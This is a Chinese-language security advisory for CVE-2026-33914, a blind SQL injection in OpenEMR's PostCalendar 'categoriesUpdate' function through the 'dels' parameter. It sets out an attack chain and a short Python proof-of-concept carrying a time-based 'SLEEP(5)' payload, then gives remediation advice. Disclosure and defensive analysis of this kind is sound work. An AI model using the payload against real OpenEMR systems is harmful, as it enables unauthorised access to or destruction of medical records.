IPBUF安全漏洞报告
English
CVE-2026-33914 CVSS 7.2 高危

CVE-2026-33914 OpenEMR SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33914
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

SQL注入OpenEMR盲注RCEWeb安全

漏洞概述

OpenEMR是一款开源电子医疗记录应用。在8.0.0.3版本之前,其PostCalendar模块的`categoriesUpdate`管理功能中存在盲SQL注入漏洞。攻击者可利用该漏洞通过`dels`参数注入恶意SQL语句,导致数据库被非法操作。

技术细节

该漏洞源于OpenEMR PostCalendar模块的`categoriesUpdate`函数未对用户输入进行充分的过滤。具体而言,系统使用`pnVarCleanFromInput()`函数处理`dels` POST参数,该函数仅移除HTML标签,未对SQL特殊字符进行转义。随后,该未处理的值被直接拼接到原始SQL `DELETE`语句中,并通过Doctrine DBAL的`executeStatement()`方法执行。由于缺乏预编译或参数化查询,拥有高权限的攻击者可以通过构造特定的盲注Payload,利用布尔或基于时间的盲注技术,从数据库中提取敏感信息、修改数据或破坏数据完整性。

攻击链分析

STEP 1
信息收集
识别目标是否运行OpenEMR,并确认版本低于8.0.0.3。
STEP 2
获取权限
由于CVSS向量显示PR:H(高权限),攻击者需先获取管理员账号权限或有效的Session。
STEP 3
漏洞利用
构造包含盲注Payload的POST请求发送至`categoriesUpdate`接口,利用`dels`参数注入恶意SQL语句。
STEP 4
数据窃取或破坏
通过布尔盲注或时间盲注逐位提取数据库敏感信息,或利用DELETE语句破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-33914 PoC Concept # Target URL example url = "http://target/openemr/interface/main/calendar/modules/PostCalendar/admin/index.php" # Admin privileges are required (PR:H) cookies = {'OpenEMR': 'valid_admin_session_id'} # Vulnerable parameter: 'dels' # Function: categoriesUpdate # Payload example for time-based blind SQLi payload = "1' AND (SELECT SLEEP(5))-- -" data = { "action": "categoriesUpdate", "dels": payload } try: response = requests.post(url, data=data, cookies=cookies, timeout=10) # Check response time to confirm blind injection print(f"Status Code: {response.status_code}") except requests.RequestException as e: print(f"Request failed: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
建议立即升级到修复版本8.0.0.3。如果不能立即升级,应严格限制对PostCalendar模块的访问权限,仅允许受信任的管理员IP访问,并在Web应用防火墙(WAF)中部署规则以检测和拦截对`dels`参数的SQL注入尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表